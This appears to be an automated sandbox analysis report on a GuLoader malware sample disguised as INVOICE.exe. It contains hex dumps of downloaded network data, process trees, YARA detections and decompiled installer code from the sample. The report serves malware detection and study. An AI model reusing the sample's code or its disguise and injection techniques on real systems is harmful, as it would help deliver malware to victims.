2022-05-25 14:26:45 UTC	156	IN	Data Raw: ca bb 26 38 18 f5 f2 d5 ed 95 31 55 43 d7 4e e6 0a 4f e1 10 51 54 c6 fc 75 fd e2 8b 1d 18 fa 20 69 ba 18 9f c2 b9 ba 7b 8c fd d4 41 b8 17 83 58 83 d1 3c 23 73 5d ea 16 3c e8 91 22 c6 28 69 e0 20 e7 a7 b8 4c e4 b3 30 c8 44 a6 cd bc 0b f8 d8 1e 19 30 a0 be 4d 71 46 7b df 29 d9 c5 63 a8 57 8c c7 d2 3e 01 57 25 b8 71 58 0f 1b 0b e7 99 bc 33 ad 0f c6 9a 93 26 1c 2a 62 95 5b b1 a1 8f a1 a3 d0 ee 9c 5e b9 5a 93 56 5f 32 75 bd b8 e5 ef 70 2d 16 ab 17 91 21 a5 56 4a ef 58 9a cb f8 48 66 5c 02 b8 b5 ef d9 83 86 be 54 ec c0 2d 61 b0 1c 1b 4e 50 82 e6 cf e3 f6 c4 0b cc 44 7a 04 56 37 02 70 15 23 1e 18 e5 cc 7f 2a 4e 5d 2f 5c 31 5a 58 56 a0 8f 65 7c c8 2a e6 f6 53 29 d3 50 be 65 df 25 66 04 62 6b d6 53 08 c7 c5 d4 79 15 08 2c 7e 74 e8 3a 78 ee 73 8c d4 b9 07 87 9f 37 Data Ascii: &81UCNOQTu i{AX<#s]<"(i L0D0MqF{)cW>W%qX3&b[^ZV_2up-!VJXHf\T-aNPDzV7p#N]/\1ZXVe\|*S)Pe%fbkSy,~t:xs7
2022-05-25 14:26:45 UTC	160	IN	Data Raw: d3 81 1f 7c 98 5c 14 ad 8d d6 ca 54 88 97 78 75 1c 63 52 7b 71 f3 b0 77 9e 8f be a7 c7 1f 04 ce 92 c2 bf 35 a6 ae d8 61 4f bf c2 4c 7c 67 21 27 84 62 09 85 cd a5 64 4d 80 5a 86 bd 4e ef d5 03 04 d7 65 af 20 f3 e3 09 bf c9 80 9e eb a8 c4 fb bf 1a 1e f3 90 8b 05 1f be 72 19 97 02 a3 12 3c 98 54 fd e6 2b b9 86 f6 f2 85 94 4c 2d d5 b5 a4 1f 63 b0 61 97 71 5a 25 6b 7c d6 62 e7 80 36 af 9b 70 9d 48 17 1a 8a 7d f7 7c 3d 58 98 34 17 40 2f f9 e8 62 00 0b a9 ae b5 22 d1 42 6c 5a dc 8a 7b 59 28 6a ff 08 4e 72 f0 d2 6c 09 5f b9 ce e2 54 e9 63 4e c6 5e 2e d5 17 16 fb 28 89 a6 9d 9c 25 01 61 74 d0 ca 1e 2b 85 38 9b e0 f8 38 b0 08 31 87 88 f8 dc 6c 56 b9 41 f0 6d 7a 93 38 ce 4b 7a ea 4d 3a 86 b3 a5 67 57 24 bc 26 68 fb 91 c2 e6 14 cc 26 df 3a a0 04 99 a4 71 ab ab a5 7d Data Ascii: \|\TxucR{qw5aOL\|g!'bdMZNe r<T+L-caqZ%k\|b6pH}\|=X4@/b"BlZ{Y(jNrl_TcN^.(%at+881lVAmz8KzM:gW$&h&:q}
2022-05-25 14:26:45 UTC	164	IN	Data Raw: f4 45 c9 41 a0 d4 28 81 8e 9e c2 4e fc 73 dc 32 de 22 3e 42 70 6e 83 28 ca 19 34 2b 50 75 ad 48 68 4e 23 c0 43 c0 68 ac 6e 8c 03 6a 1d 38 59 77 6d ad 4b 5c 4b 12 d7 99 a7 bd f7 b3 52 45 ea c9 0d 31 4a a0 cf 64 8b fb 63 0c a8 67 3b 0a e2 19 b7 d4 84 5d fd c8 2f 77 47 f8 16 81 5c ba ae da 89 a5 f8 23 7c c1 32 c3 cc 4d fe 80 a5 6c 49 6d 7c dd 3b b9 81 5f 26 e9 9c d5 03 b4 49 e6 f9 a6 79 d3 a1 11 49 a9 85 e0 49 97 1a 11 f7 b0 19 65 c3 0b f5 e4 a9 0c 2e c4 4f 9b 4d 13 90 7d 25 71 48 ae 03 25 0f 89 76 57 08 08 83 72 89 31 4c fc 5a 1f 63 89 e8 51 37 7b 16 04 e1 0a e9 09 80 6b 84 5c c2 b4 b8 20 b3 3b 99 48 77 cd 1a 82 72 32 80 1e be 5e 37 6f 36 67 d4 f1 c2 89 f2 e6 d9 68 84 c9 d4 c5 38 4d cb a7 8b 5d d5 91 88 ad ba 19 13 1a da 62 e5 8c 0f 2c 72 12 31 82 9f 79 67 Data Ascii: EA(Ns2">Bpn(4+PuHhN#Chnj8YwmK\KRE1Jdcg;]/wG\#\|2MlIm\|;_&IyIIe.OM}%qH%vWr1LZcQ7{k\ ;Hwr2^7o6gh8M]b,r1yg
2022-05-25 14:26:45 UTC	168	IN	Data Raw: 3f 9e e0 ac 4b 93 bb ab 7f d9 36 47 05 85 70 0c 56 f0 60 fd 72 a2 f6 e1 2d 5f f7 45 f2 c3 60 c3 23 06 09 d2 5b ac ff f5 27 a3 61 bc 4f 50 74 c3 1c 1a 88 38 36 c8 1f b8 67 fb 12 53 6f ad e8 20 46 54 10 ab 85 95 61 bf 13 75 a4 7d d8 3b 9b 75 33 28 9d 7a 41 92 d2 dd 52 5d 70 57 43 a5 d2 cc 1f 9a dd 82 9a 72 8d 79 ee c1 e0 bd 71 a3 59 f0 83 eb 5a 26 c2 cf a0 97 28 62 81 b8 b2 bc 84 c1 ea a0 ed 08 2d 9f a5 e7 71 6a 8e ac bc 43 22 e7 7f ff df 9f e9 ba 70 05 7b 12 74 fa dd 47 ae 00 ea 53 a0 ce 04 d0 47 3e 05 a9 4f 3e 7e 6c d9 dd 43 a5 25 65 c2 a0 d2 ae bd 5e 10 9a 29 9f 31 90 4c 7c d6 1c 0b 64 7d 64 5d 8a 34 1f c1 1c d4 96 96 b3 58 0e 8f b2 7c b1 8a c8 a0 37 2a f6 ae 1a 8a bf 9e 02 30 3c f2 a8 ba 5a aa cc a8 f2 e3 fd ed 23 53 68 02 3c 5d 86 68 c3 eb 54 dc 78 93 Data Ascii: ?K6GpV`r-_E`#['aOPt86gSo FTau};u3(zAR]pWCryqYZ&(b-qjC"p{tGSG>O>~lC%e^)1L\|d}d]4X\|7*0<Z#Sh<]hTx
2022-05-25 14:26:45 UTC	172	IN	Data Raw: a7 08 34 a9 9f 7d 71 39 31 2f a4 d3 1a 7e 74 61 17 28 cf 46 1e f8 34 4f d1 59 80 47 f8 8e 58 f3 76 91 68 2a a1 e8 66 cc c9 37 49 93 50 73 fb bc 18 81 c0 77 7b c6 ef 88 23 10 1d 52 2e 70 49 86 d8 b4 b5 af 94 b1 f3 c6 06 3b ac c5 a2 07 8d 6e 1c 82 c2 bc 7a c6 fc 9b 69 57 7d c3 b3 14 b4 74 98 21 6a d6 ea ae a3 de 3a b2 a6 b6 3c a9 2c a9 65 6a 8d 4b c6 b0 74 10 ff 16 50 10 08 43 36 f1 7c 21 f9 db 45 4e 7f d3 63 25 dc 37 f3 66 19 3c 1b 8a ec 59 32 39 fc e6 b9 0d 3f 46 2f 0f 0f 50 e0 5f 46 52 3d c6 a0 e6 0e cc f7 29 a6 8e 09 09 45 48 fc b9 a5 d6 6d 2e 66 6f ac 10 c7 8b 8f 47 d8 0a eb ab e6 49 e7 04 b2 8d 43 49 9f a6 06 c4 64 87 dc bb 08 04 06 2c d2 41 37 79 40 70 e9 a7 fc 19 b3 ae 58 3e 9d a4 e2 7c ec 27 45 9b 4e 73 a2 19 c9 c3 15 9b 57 25 f4 d6 a5 54 74 dc 07 Data Ascii: 4}q91/~ta(F4OYGXvh*f7IPsw{#R.pI;nziW}t!j:<,ejKtPC6\|!ENc%7f<Y29?F/P_FR=)EHm.foGICId,A7y@pX>\|'ENsW%Tt
2022-05-25 14:26:45 UTC	176	IN	Data Raw: 85 67 be 54 8b 2f 65 2c 51 2b 8e 66 07 2b ea 6c c6 10 15 3d a7 e4 fd 30 ef d5 6b 96 10 54 eb 3e 65 07 ef 08 47 0a 73 6c e9 e5 9a 60 01 03 10 25 d0 42 63 18 b2 91 72 ff 52 a5 a6 f4 30 ba b4 4f 13 55 36 9d 7b 27 1c c8 e3 d9 f8 88 af 70 09 ec 27 50 8e e7 44 79 b5 2a e6 b2 6c 29 6b 94 89 67 64 d5 d6 b5 1c 09 27 b5 b6 3c 92 9d 90 85 1f da 26 09 f7 f2 80 66 e1 2f 9b 23 b0 55 ed fd 5d e2 13 a7 7c 6a e0 c4 4f a4 7f 21 ad 44 5b bd db 71 c7 90 f4 97 5a 0d fc 8a 80 67 c5 33 72 44 14 ff 89 df a8 3d 53 9d df 42 45 f0 eb 87 9c 58 1c 20 74 77 c9 c5 68 8b fe c7 ce 60 ce 59 be d8 3b 91 83 57 87 60 50 e8 ad 9d 80 4d 87 35 e8 78 2b 76 e1 c0 56 cf 70 63 1b f4 d8 5f a2 21 8e 28 6f 75 52 7d 66 81 d0 7a 87 eb 5d 72 61 9b 80 fe 6d 51 1a c7 05 77 bb 1a aa 96 50 c8 b9 2b d9 39 c9 Data Ascii: gT/e,Q+f+l=0kT>eGsl`%BcrR0OU6{'p'PDy*l)kgd'<&f/#U]\|jO!D[qZg3rD=SBEX twh`Y;W`PM5x+vVpc_!(ouR}fz]ramQwP+9
2022-05-25 14:26:45 UTC	180	IN	Data Raw: e5 9a 52 19 c4 bf be af 64 7b 20 2a f7 39 f3 65 fc e0 7e 82 05 52 a9 21 67 68 e8 fa 04 07 74 76 05 0e cd e4 c8 c8 a6 dc 2c 5a 90 a6 a6 d1 14 ac 66 4b 42 81 3f 70 5d 77 3f 79 fb a3 62 a8 49 25 35 a0 2c 40 91 ef 69 45 a4 b1 cb 9b a2 38 31 54 ad b3 90 6c 8a 0b 81 f2 75 57 ff bb 66 66 7d cb 1d a1 94 92 00 77 33 05 48 6e c9 0b 8d e3 3b 9e 9e 9b e3 b3 71 44 bb 39 bc 50 2d 3d d2 67 f6 af b1 09 fa 5f 3c 3a 79 da 6c f1 31 32 01 26 a1 58 bc 03 1d 1c a9 38 70 fd f0 23 bf a4 ec 1d c3 47 3b f6 fe 79 54 9b a3 d1 48 7c dd 0f b5 46 2f 48 3c 5c b9 0b d7 f7 09 75 93 8c 38 49 7a 60 77 c1 8f 18 bf 49 dc 94 f6 c3 c2 ca 91 80 11 f3 39 20 d3 5c 2c d2 c2 0b b1 1a ed d8 80 8d 7e cd 7f cb 0b 9f 19 1d 94 ff 64 65 f6 a5 d8 41 63 df 58 32 ea fe 3f b9 0e fd 97 1e ce 94 4e 61 46 51 29 Data Ascii: Rd{ *9e~R!ghtv,ZfKB?p]w?ybI%5,@iE81TluWff}w3Hn;qD9P-=g_<:yl12&X8p#G;yTH\|F/H<\u8Iz`wI9 \,~deAcX2?NaFQ)
2022-05-25 14:26:45 UTC	184	IN	Data Raw: 02 e5 53 fc 4a a7 1c b8 67 7e a6 07 c7 9f 1a ab 99 b6 05 68 58 69 41 48 7b 96 0c 47 c8 4b cd 68 76 34 b1 9a 0e 67 fb 55 d2 86 53 cb d4 a9 a9 62 52 e1 ac d5 75 e4 20 25 9a e1 bb ec 68 56 48 d0 b6 61 5e d1 3d fe 4c 51 f0 3a ed fe ce e1 d4 bf 6e 6c f8 8d ab df 50 95 c7 d5 ed cf ff a6 7a aa 10 e1 41 bf 86 10 bc 1b 56 be c5 37 05 57 c8 5e fa 0c fc f2 ec fc 06 bb 5d 99 8c 29 75 bd 78 44 18 7d 45 57 54 96 23 c9 31 3c 3b e6 6d 35 66 43 7a 57 09 27 bb 3b 01 8a 93 29 2c 69 92 22 c3 20 2b db 47 08 9c 2e 09 bc 96 b6 54 5d be b5 75 a5 c0 1d 22 de f6 e6 ab 08 54 a7 c6 33 a9 50 92 ee 52 88 5f 27 ff fd b0 93 33 e4 70 d7 44 ff d8 0d 47 da 9f f0 9d 7d e8 e8 2c 56 ef 89 c5 16 43 97 fe b9 08 64 ff 0b 09 4c 3b b1 e9 51 02 99 eb 09 89 2f fe 0a 1c 94 02 61 0a 3d 6b bd 61 c7 cf Data Ascii: SJg~hXiAH{GKhv4gUSbRu %hVHa^=LQ:nlPzAV7W^])uxD}EWT#1<;m5fCzW';),i" +G.T]u"T3PR_'3pDG},VCdL;Q/a=ka
2022-05-25 14:26:45 UTC	188	IN	Data Raw: 5c 94 60 3e 9d 66 45 53 e3 77 42 44 51 56 df 1a b0 23 f0 0e 47 6b 0f 59 48 85 38 8d b9 48 14 5c 1d 7e a2 24 18 30 85 4b 93 5b 45 58 39 4e 09 cc fe 2b 5e 73 d3 0b c0 bc c8 ad a3 74 23 59 ca fd 3f a0 7a d1 b4 fb 09 69 6b e6 63 82 87 6a ab 70 da ed 23 3a 65 18 30 11 d9 f6 32 6d e5 04 19 b4 32 bc 16 33 21 76 07 13 0e dc c3 9d b2 f6 1c 89 6d f2 70 50 8c 8a 0a e4 ab a8 ef b3 81 13 0f 99 69 5d 99 fe 5e ec 8b cd 96 3e bd d2 9a 66 90 73 d8 b1 e9 88 dc 7f d1 d2 43 17 a0 61 8e f7 25 00 0a 99 5f e9 99 2c 62 bc ef d9 7a 1e 34 ac 2b 3a e9 6b 1b c2 57 0d b5 88 e6 f2 18 09 51 0f 9d 9c 2f be ec 32 14 14 a3 2f 49 dc 82 14 47 09 90 5d 4b 45 4a 9c 72 78 8d 99 b1 37 56 7a e1 fd 86 fc 98 b4 cf fd 7c 2c 33 de 72 5f 4a 50 5a b5 3a 0c 6c 1d 13 61 5a cf 57 0d 51 bf 6a be 79 8a f3 Data Ascii: \`>fESwBDQV#GkYH8H\~$0K[EX9N+^st#Y?zikcjp#:e02m23!vmpPi]^>fsCa%_,bz4+:kWQ/2/IG]KEJrx7Vz\|,3r_JPZ:laZWQjy
2022-05-25 14:26:45 UTC	192	IN	Data Raw: 8a 93 e9 47 09 04 cf 87 e4 96 e4 96 e9 10 f7 91 49 2e 40 29 5d a6 31 12 d3 78 79 76 69 18 cd a8 39 86 38 ba bd 9f bd 11 af df 36 c3 88 da 84 4b ce 51 6c f7 24 8b 82 9d e2 73 12 40 af 61 66 31 70 9e 69 b9 ab 7e cc 2a 48 cf 98 50 f4 74 98 7b 2b 98 92 58 a8 7c e5 e8 fc b5 5b 37 39 e6 dc b4 24 7c 0b 30 9e 35 db ee ed 43 94 e5 5c bf 13 ab 36 36 00 8b 1c 41 99 8d 3c 08 cb ee 9b 66 02 21 f2 2e ff f0 0d 89 24 6a 88 10 58 33 6f 33 46 dd ae 2c f5 a0 53 20 29 29 0e 6a 97 c7 fc 95 10 73 37 90 ed d7 ba e3 3a a8 66 0a 05 51 3c 7e be 0c 47 4b ed 76 f8 2c 30 4b 95 d0 8f d9 5c 96 b6 d9 58 bc 1f b1 a1 62 20 bc 58 0d ee 5a c6 8c 0a e9 47 67 4d 2b 3c a0 28 59 75 25 92 ac 84 28 55 5b 52 a2 af 7d 90 96 b0 a0 3c ad 19 ec 01 31 cd fe a5 67 66 26 98 09 dd 7b 89 1b 7f 56 9a b7 6a Data Ascii: GI.@)]1xyvi986KQl$s@af1pi~*HPt{+X\|[79$\|05C\66A<f!.$jX3o3F,S ))js7:fQ<~GKv,0K\Xb XZGgM+<(Yu%(U[R}<1gf&{Vj
2022-05-25 14:26:45 UTC	196	IN	Data Raw: a6 27 df e6 04 ff 31 fc 79 f0 23 ae d0 03 6a 55 45 2e 57 0c a5 5a 6c eb d3 13 6f 17 72 3e 32 7d 9b 5e 77 90 65 66 4d ed 63 19 b4 92 b3 5b 49 13 d4 7a 46 72 14 e5 8c e0 fc 1d e0 b4 f3 d0 3a d5 5a 6e aa ac 9c b0 80 ba 8e a3 e4 37 a6 47 99 d8 c0 9b b9 cf 26 c2 a9 ba f3 c1 1c 35 8a 54 9f a7 58 9f 08 d3 71 59 02 2e f3 87 c9 d5 c7 f3 53 6c b4 bb 53 09 2c 8d 58 bf e4 29 3f 95 fb 59 a5 41 0a 2e b9 95 59 5c 12 b8 ad 43 19 f3 d6 2b b6 c1 12 9a 95 e4 88 17 0e 40 ef ef ce 8f 42 1c 89 df bc cd 55 ef 5c b4 14 d5 cc ed e7 5d 14 3e 05 19 0c 09 cf d3 32 71 ee 36 25 39 50 5b 94 37 13 8c 6e 05 a9 83 0e 55 17 35 5e 52 24 e4 ec 2b 73 91 45 48 5b 7d da 7c 3b f5 3e be 20 de c0 64 43 63 23 7c 8d b2 69 b2 97 3e 17 aa 16 93 10 41 d5 1d 1b ec 9a 26 4d e4 70 35 f9 1b 8c c5 03 59 88 Data Ascii: '1y#jUE.WZlor>2}^wefMc[IzFr:Zn7G&5TXqY.SlS,X)?YA.Y\C+@BU\]>2q6%9P[7nU5^R$+sEH[}\|;> dCc#\|i>A&Mp5Y
2022-05-25 14:26:45 UTC	200	IN	Data Raw: de 14 f2 96 ec 2c 28 a6 40 2f 0d 59 bb fd 79 a2 23 89 99 59 b5 4d 0d 85 d2 95 b7 fa c2 5f 73 6d 15 44 e6 2e d1 9f c7 f0 5e ab 1a 27 9e 39 22 ae af d1 18 7b 96 a2 6e a9 1d 8f 6e 40 a9 bb 21 3a 38 27 76 8a 7d c6 97 0b a8 cb f6 15 1a 2d 7d ec 72 89 65 89 ee c5 48 e2 50 79 1c b4 cb e5 86 fd 35 65 28 cc be 1c 54 84 0c 19 b8 80 d7 a7 66 05 41 b7 12 db 20 48 54 fe 5c 2b 8b 85 83 f2 05 bf 49 e3 1e 30 96 8c 6d 0e 82 96 56 09 56 36 6c 6d e4 c8 6b 90 60 43 39 01 81 c0 1b 26 a0 c1 41 53 3b 24 51 68 6a b1 15 dd 1b c9 81 fd ce 12 8a b4 8f 50 af c5 fe 14 23 b0 fe 8d 0c cd 0e 8e 2d 9a a5 0c 36 68 3c ec 6f b8 a7 74 d8 9c 4d 1a 40 08 4a 9a d4 cf a2 c2 2f ac 8f 65 c5 18 ab 1b b6 b4 c3 3b 1f 5f cd 01 17 d8 1a df 52 9c ef e9 2d 2d 9c 10 36 93 8b 2e 13 40 2f 74 f2 29 ec 58 e7 Data Ascii: ,(@/Yy#YM_smD.^'9"{nn@!:8'v}-}reHPy5e(TfA HT\+I0mVV6lmk`C9&AS;$QhjP#-6h<otM@J/e;_R--6.@/t)X

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: INVOICE.exePID: 4312, Parent PID: 6080

General

Target ID:	0
Start time:	16:26:07
Start date:	25/05/2022
Path:	C:\Users\user\Desktop\INVOICE.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\INVOICE.exe"
Imagebase:	0x400000
File size:	262120 bytes
MD5 hash:	A10619D494661C1F8CA180E53C5A11FD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_GuLoader_2, Description: Yara detected GuLoader, Source: 00000000.00000002.1043900195.0000000002B50000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low

Show Windows behavior

Chronological Activities

Analysis Process: CasPol.exePID: 7412, Parent PID: 4312

General

Target ID:	3
Start time:	16:26:26
Start date:	25/05/2022
Path:	C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\INVOICE.exe"
Imagebase:	0xd50000
File size:	106496 bytes
MD5 hash:	7BAE06CBE364BB42B8C34FCFB90E3EBD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_GuLoader_2, Description: Yara detected GuLoader, Source: 00000003.00000000.844018063.0000000001130000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
Reputation:	moderate

Show Windows behavior

Chronological Activities

Analysis Process: conhost.exePID: 7420, Parent PID: 7412

General

Target ID:	4
Start time:	16:26:26
Start date:	25/05/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7dae10000
File size:	875008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate

Show Windows behavior

Chronological Activities

Disassembly

Reset < >

Analysis Process: INVOICE.exePID: 4312, Parent PID: 6080COMMON

Execution Graph

Execution Coverage:	3.4%
Dynamic/Decrypted Code Coverage:	9.2%
Signature Coverage:	25.2%
Total number of Nodes:	931
Total number of Limit Nodes:	46

Executed Functions

Function 0040352D Relevance: 81.0, APIs: 33, Strings: 13, Instructions: 450
stringfilecomCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 79%

			_entry_() {
				WCHAR* _v8;
				signed int _v12;
				void* _v16;
				signed int _v20;
				int _v24;
				int _v28;
				struct _TOKEN_PRIVILEGES _v40;
				signed char _v42;
				int _v44;
				signed int _v48;
				intOrPtr _v278;
				signed short _v310;
				struct _OSVERSIONINFOW _v324;
				struct _SHFILEINFOW _v1016;
				intOrPtr* _t88;
				intOrPtr* _t94;
				void _t97;
				void* _t116;
				WCHAR* _t118;
				signed int _t120;
				intOrPtr* _t124;
				void* _t138;
				void* _t144;
				void* _t149;
				void* _t153;
				void* _t158;
				signed int _t168;
				void* _t171;
				void* _t176;
				intOrPtr _t178;
				intOrPtr _t179;
				intOrPtr* _t180;
				int _t189;
				void* _t190;
				void* _t199;
				signed int _t205;
				signed int _t210;
				signed int _t215;
				int* _t219;
				signed int _t227;
				signed int _t230;
				CHAR* _t232;
				signed int _t234;
				WCHAR* _t235;

				0x440000 = 0x20;
				_t189 = 0;
				_v24 = 0;
				_v8 = L"Error writing temporary file. Make sure your temp folder is valid.";
				_v20 = 0;
				SetErrorMode(0x8001); // executed
				_v324.szCSDVersion = 0;
				_v48 = 0;
				_v44 = 0;
				_v324.dwOSVersionInfoSize = 0x11c;
				if(GetVersionExW( &_v324) == 0) {
					_v324.dwOSVersionInfoSize = 0x114;
					GetVersionExW( &_v324);
					asm("sbb eax, eax");
					_v42 = 4;
					_v48 =  !( ~(_v324.szCSDVersion - 0x53)) & _v278 + 0xffffffd0;
				}
				if(_v324.dwMajorVersion < 0xa) {
					_v310 = _v310 & 0x00000000;
				}
				 *0x434fb8 = _v324.dwBuildNumber;
				 *0x434fbc = (_v324.dwMajorVersion & 0x0000ffff | _v324.dwMinorVersion & 0x000000ff) << 0x00000010 | _v48 & 0x0000ffff | _v42 & 0x000000ff;
				if( *0x434fbe != 0x600) {
					_t180 = E0040690A(_t189);
					if(_t180 != _t189) {
						 *_t180(0xc00);
					}
				}
				_t232 = "UXTHEME";
				do {
					E0040689A(_t232); // executed
					_t232 =  &(_t232[lstrlenA(_t232) + 1]);
				} while ( *_t232 != 0);
				E0040690A(0xb);
				 *0x434f04 = E0040690A(9);
				_t88 = E0040690A(7);
				if(_t88 != _t189) {
					_t88 =  *_t88(0x1e);
					if(_t88 != 0) {
						 *0x434fbc =  *0x434fbc | 0x00000080;
					}
				}
				__imp__#17();
				__imp__OleInitialize(_t189); // executed
				 *0x434fc0 = _t88;
				SHGetFileInfoW(0x42b228, _t189,  &_v1016, 0x2b4, _t189); // executed
				E0040653D(0x433f00, L"NSIS Error");
				E0040653D(0x440000, GetCommandLineW());
				_t94 = 0x440000;
				_t234 = 0x22;
				 *0x434f00 = 0x400000;
				if( *0x440000 == _t234) {
					_t94 = 0x440002;
				}
				_t199 = CharNextW(E00405E39(_t94, 0x440000));
				_v16 = _t199;
				while(1) {
					_t97 =  *_t199;
					_t252 = _t97 - _t189;
					if(_t97 == _t189) {
						break;
					}
					_t210 = 0x20;
					__eflags = _t97 - _t210;
					if(_t97 != _t210) {
						L17:
						__eflags =  *_t199 - _t234;
						_v12 = _t210;
						if( *_t199 == _t234) {
							_v12 = _t234;
							_t199 = _t199 + 2;
							__eflags = _t199;
						}
						__eflags =  *_t199 - 0x2f;
						if( *_t199 != 0x2f) {
							L32:
							_t199 = E00405E39(_t199, _v12);
							__eflags =  *_t199 - _t234;
							if(__eflags == 0) {
								_t199 = _t199 + 2;
								__eflags = _t199;
							}
							continue;
						} else {
							_t199 = _t199 + 2;
							__eflags =  *_t199 - 0x53;
							if( *_t199 != 0x53) {
								L24:
								asm("cdq");
								asm("cdq");
								_t215 = L"NCRC" & 0x0000ffff;
								asm("cdq");
								_t227 = ( *0x40a2c2 & 0x0000ffff) << 0x00000010 |  *0x40a2c0 & 0x0000ffff | _t215;
								__eflags =  *_t199 - (( *0x40a2be & 0x0000ffff) << 0x00000010 | _t215);
								if( *_t199 != (( *0x40a2be & 0x0000ffff) << 0x00000010 | _t215)) {
									L29:
									asm("cdq");
									asm("cdq");
									_t210 = L" /D=" & 0x0000ffff;
									asm("cdq");
									_t230 = ( *0x40a2b6 & 0x0000ffff) << 0x00000010 |  *0x40a2b4 & 0x0000ffff | _t210;
									__eflags =  *(_t199 - 4) - (( *0x40a2b2 & 0x0000ffff) << 0x00000010 | _t210);
									if( *(_t199 - 4) != (( *0x40a2b2 & 0x0000ffff) << 0x00000010 | _t210)) {
										L31:
										_t234 = 0x22;
										goto L32;
									}
									__eflags =  *_t199 - _t230;
									if( *_t199 == _t230) {
										 *(_t199 - 4) = _t189;
										__eflags = _t199;
										E0040653D(0x440800, _t199);
										L37:
										_t235 = L"C:\\Users\\Arthur\\AppData\\Local\\Temp\\";
										GetTempPathW(0x400, _t235);
										_t116 = E004034FC(_t199, _t252);
										_t253 = _t116;
										if(_t116 != 0) {
											L40:
											DeleteFileW(L"1033"); // executed
											_t118 = E0040307D(_t255, _v20); // executed
											_v8 = _t118;
											if(_t118 != _t189) {
												L68:
												E00403B12();
												__imp__OleUninitialize();
												if(_v8 == _t189) {
													if( *0x434f94 == _t189) {
														L77:
														_t120 =  *0x434fac;
														if(_t120 != 0xffffffff) {
															_v24 = _t120;
														}
														ExitProcess(_v24);
													}
													if(OpenProcessToken(GetCurrentProcess(), 0x28,  &_v16) != 0) {
														LookupPrivilegeValueW(_t189, L"SeShutdownPrivilege",  &(_v40.Privileges));
														_v40.PrivilegeCount = 1;
														_v28 = 2;
														AdjustTokenPrivileges(_v16, _t189,  &_v40, _t189, _t189, _t189);
													}
													_t124 = E0040690A(4);
													if(_t124 == _t189) {
														L75:
														if(ExitWindowsEx(2, 0x80040002) != 0) {
															goto L77;
														}
														goto L76;
													} else {
														_push(0x80040002);
														_push(0x25);
														_push(_t189);
														_push(_t189);
														_push(_t189);
														if( *_t124() == 0) {
															L76:
															E0040140B(9);
															goto L77;
														}
														goto L75;
													}
												}
												E00405B9D(_v8, 0x200010);
												ExitProcess(2);
											}
											if( *0x434f1c == _t189) {
												L51:
												 *0x434fac =  *0x434fac | 0xffffffff;
												_v24 = E00403BEC(_t265);
												goto L68;
											}
											_t219 = E00405E39(0x440000, _t189);
											if(_t219 < 0x440000) {
												L48:
												_t264 = _t219 - 0x440000;
												_v8 = L"Error launching installer";
												if(_t219 < 0x440000) {
													_t190 = E00405B08(__eflags);
													lstrcatW(_t235, L"~nsu");
													__eflags = _t190;
													if(_t190 != 0) {
														lstrcatW(_t235, "A");
													}
													lstrcatW(_t235, L".tmp");
													_t138 = lstrcmpiW(_t235, 0x441800);
													__eflags = _t138;
													if(_t138 == 0) {
														L67:
														_t189 = 0;
														__eflags = 0;
														goto L68;
													} else {
														__eflags = _t190;
														_push(_t235);
														if(_t190 == 0) {
															E00405AEB();
														} else {
															E00405A6E();
														}
														SetCurrentDirectoryW(_t235);
														__eflags =  *0x440800;
														if( *0x440800 == 0) {
															E0040653D(0x440800, 0x441800);
														}
														E0040653D(0x436000, _v16);
														_t202 = "A" & 0x0000ffff;
														_t144 = ( *0x40a25a & 0x0000ffff) << 0x00000010 | "A" & 0x0000ffff;
														__eflags = _t144;
														_v12 = 0x1a;
														 *0x436800 = _t144;
														do {
															E0040657A(0, 0x42aa28, _t235, 0x42aa28,  *((intOrPtr*)( *0x434f10 + 0x120)));
															DeleteFileW(0x42aa28);
															__eflags = _v8;
															if(_v8 != 0) {
																_t149 = CopyFileW(L"C:\\Users\\Arthur\\Desktop\\INVOICE.exe", 0x42aa28, 1);
																__eflags = _t149;
																if(_t149 != 0) {
																	E004062FD(_t202, 0x42aa28, 0);
																	E0040657A(0, 0x42aa28, _t235, 0x42aa28,  *((intOrPtr*)( *0x434f10 + 0x124)));
																	_t153 = E00405B20(0x42aa28);
																	__eflags = _t153;
																	if(_t153 != 0) {
																		CloseHandle(_t153);
																		_v8 = 0;
																	}
																}
															}
															 *0x436800 =  *0x436800 + 1;
															_t61 =  &_v12;
															 *_t61 = _v12 - 1;
															__eflags =  *_t61;
														} while ( *_t61 != 0);
														E004062FD(_t202, _t235, 0);
														goto L67;
													}
												}
												 *_t219 = _t189;
												_t222 =  &(_t219[2]);
												_t158 = E00405F14(_t264,  &(_t219[2]));
												_t265 = _t158;
												if(_t158 == 0) {
													goto L68;
												}
												E0040653D(0x440800, _t222);
												E0040653D(0x441000, _t222);
												_v8 = _t189;
												goto L51;
											}
											asm("cdq");
											asm("cdq");
											asm("cdq");
											_t205 = ( *0x40a27e & 0x0000ffff) << 0x00000010 | L" _?=" & 0x0000ffff;
											_t168 = ( *0x40a282 & 0x0000ffff) << 0x00000010 |  *0x40a280 & 0x0000ffff | (_t210 << 0x00000020 |  *0x40a282 & 0x0000ffff) << 0x10;
											while( *_t219 != _t205 || _t219[1] != _t168) {
												_t219 = _t219;
												if(_t219 >= 0x440000) {
													continue;
												}
												break;
											}
											_t189 = 0;
											goto L48;
										}
										GetWindowsDirectoryW(_t235, 0x3fb);
										lstrcatW(_t235, L"\\Temp");
										_t171 = E004034FC(_t199, _t253);
										_t254 = _t171;
										if(_t171 != 0) {
											goto L40;
										}
										GetTempPathW(0x3fc, _t235);
										lstrcatW(_t235, L"Low");
